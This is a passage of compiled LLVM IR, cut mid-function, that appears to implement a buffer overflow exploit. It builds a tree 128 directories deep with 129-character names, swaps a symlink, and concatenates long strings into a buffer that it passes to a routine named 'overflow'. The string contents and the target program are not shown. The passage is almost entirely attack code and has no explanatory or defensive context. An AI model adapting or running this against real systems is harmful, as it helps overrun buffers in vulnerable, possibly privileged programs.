%29 = call i32 @strcat(i8* %21, i8* getelementptr inbounds ([130 x i8], [130 x i8]* @.str.11, i64 0, i64 0))
%30 = call i32 @strcat(i8* %21, i8* getelementptr inbounds ([130 x i8], [130 x i8]* @.str.11, i64 0, i64 0))
%31 = call i32 @strcat(i8* %21, i8* getelementptr inbounds ([130 x i8], [130 x i8]* @.str.11, i64 0, i64 0))
%32 = call i32 @strcat(i8* %21, i8* getelementptr inbounds ([130 x i8], [130 x i8]* @.str.11, i64 0, i64 0))
%33 = call i32 @strcat(i8* %21, i8* getelementptr inbounds ([130 x i8], [130 x i8]* @.str.11, i64 0, i64 0))
%34 = call i32 @strcat(i8* %21, i8* getelementptr inbounds ([130 x i8], [130 x i8]* @.str.11, i64 0, i64 0))
%35 = call i32 @strcat(i8* %21, i8* getelementptr inbounds ([130 x i8], [130 x i8]* @.str.11, i64 0, i64 0))
%36 = call i32 @strcat(i8* %21, i8* getelementptr inbounds ([130 x i8], [130 x i8]* @.str.11, i64 0, i64 0))
%37 = call i32 @strcat(i8* %21, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.12, i64 0, i64 0))
%38 = call i32 @overflow(i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.13, i64 0, i64 0), i8* %21)
%39 = call i32 @chdir(i8* getelementptr inbounds ([129 x i8], [129 x i8]* @.str.10, i64 0, i64 0))
%40 = call i32 @check(i32 %39, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.9, i64 0, i64 0))
%41 = call i32 @chdir(i8* getelementptr inbounds ([129 x i8], [129 x i8]* @.str.10, i64 0, i64 0))
%42 = call i32 @check(i32 %41, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.9, i64 0, i64 0))
%43 = call i32 @chdir(i8* getelementptr inbounds ([129 x i8], [129 x i8]* @.str.10, i64 0, i64 0))
%44 = call i32 @check(i32 %43, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.9, i64 0, i64 0))
%45 = call i32 @chdir(i8* getelementptr inbounds ([129 x i8], [129 x i8]* @.str.10, i64 0, i64 0))
%46 = call i32 @check(i32 %45, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.9, i64 0, i64 0))
%47 = call i32 @chdir(i8* getelementptr inbounds ([129 x i8], [129 x i8]* @.str.10, i64 0, i64 0))
%48 = call i32 @check(i32 %47, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.9, i64 0, i64 0))
%49 = call i32 @chdir(i8* getelementptr inbounds ([129 x i8], [129 x i8]* @.str.10, i64 0, i64 0))
%50 = call i32 @check(i32 %49, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.9, i64 0, i64 0))
%51 = call i32 @chdir(i8* getelementptr inbounds ([129 x i8], [129 x i8]* @.str.10, i64 0, i64 0))
%52 = call i32 @check(i32 %51, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.9, i64 0, i64 0))
%53 = call i32 @chdir(i8* getelementptr inbounds ([129 x i8], [129 x i8]* @.str.10, i64 0, i64 0))
%54 = call i32 @check(i32 %53, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.9, i64 0, i64 0))
%55 = call i32 @chdir(i8* getelementptr inbounds ([129 x i8], [129 x i8]* @.str.10, i64 0, i64 0))
%56 = call i32 @check(i32 %55, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.9, i64 0, i64 0))
%57 = call i32 @chdir(i8* getelementptr inbounds ([129 x i8], [129 x i8]* @.str.10, i64 0, i64 0))
%58 = call i32 @check(i32 %57, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.9, i64 0, i64 0))
%59 = call i32 @chdir(i8* getelementptr inbounds ([129 x i8], [129 x i8]* @.str.10, i64 0, i64 0))
%60 = call i32 @check(i32 %59, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.9, i64 0, i64 0))
%61 = call i32 @chdir(i8* getelementptr inbounds ([129 x i8], [129 x i8]* @.str.10, i64 0, i64 0))
%62 = call i32 @check(i32 %61, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.9, i64 0, i64 0))
%63 = call i32 @chdir(i8* getelementptr inbounds ([129 x i8], [129 x i8]* @.str.10, i64 0, i64 0))
%64 = call i32 @check(i32 %63, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.9, i64 0, i64 0))
%65 = call i32 @chdir(i8* getelementptr inbounds ([129 x i8], [129 x i8]* @.str.10, i64 0, i64 0))
%66 = call i32 @check(i32 %65, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.9, i64 0, i64 0))
%67 = call i32 @chdir(i8* getelementptr inbounds ([129 x i8], [129 x i8]* @.str.10, i64 0, i64 0))
%68 = call i32 @check(i32 %67, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.9, i64 0, i64 0))
%69 = call i32 @unlink(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.12, i64 0, i64 0))
%70 = call i32 @check(i32 %69, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.14, i64 0, i64 0))
%71 = call i32 @symlink(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.12, i64 0, i64 0))
%72 = call i32 @check(i32 %71, i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.15, i64 0, i64 0))
%73 = call i32 @strcat(i8* %21, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.16, i64 0, i64 0))
%74 = call i32 @chdir(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0))
%75 = call i32 @check(i32 %74, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.9, i64 0, i64 0))
br label %86
76: ; preds = %2, %76
%77 = phi i32 [ 0, %2 ], [ %82, %76 ]
%78 = tail call i32 @mkdir(i8* getelementptr inbounds ([129 x i8], [129 x i8]* @.str.10, i64 0, i64 0), i32 448)
%79 = tail call i32 @check(i32 %78, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.2, i64 0, i64 0))
%80 = tail call i32 @chdir(i8* getelementptr inbounds ([129 x i8], [129 x i8]* @.str.10, i64 0, i64 0))
%81 = tail call i32 @check(i32 %80, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.9, i64 0, i64 0))
%82 = add nuw nsw i32 %77, 1
%83 = icmp eq i32 %82, 128
br i1 %83, label %18, label %76
84: ; preds = %86
%85 = icmp sgt i32 %0, 0
br i1 %85, label %98, label %94
86: ; preds = %18, %86
%87 = phi i32 [ 0, %18 ], [ %92, %86 ]
%88 = call i32 @mkdir(i8* getelementptr inbounds ([129 x i8], [129 x i8]* @.str.17, i64 0, i64 0), i32 448)
%89 = call i32 @check(i32 %88, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.2, i64 0, i64 0))
%90 = call i32 @chdir(i8* getelementptr inbounds ([129 x i8], [129 x i8]* @.str.17, i64 0, i64 0))
%91 = call i32 @check(i32 %90, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.9, i64 0, i64 0))
%92 = add nuw nsw i32 %87, 1
%93 = icmp eq i32 %92, 128
br i1 %93, label %84, label %86
94: ; preds = %98, %84
%95 = bitcast i64* %3 to i8*
%96 = call i32 @strcat(i8* %21, i8* %95)
%97 = call i32 @overflow(i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.13, i64 0, i64 0), i8* %21)
ret void
98: ; preds = %84, %98
%99 = phi i32 [ %101, %98 ], [ 0, %84 ]
%100 = call i32 @strcat(i8* %21, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.18, i64 0, i64 0))
%101 = add nuw nsw i32 %99, 1
%102 = icmp eq i32 %101, %0
br i1 %102, label %94, label %98
}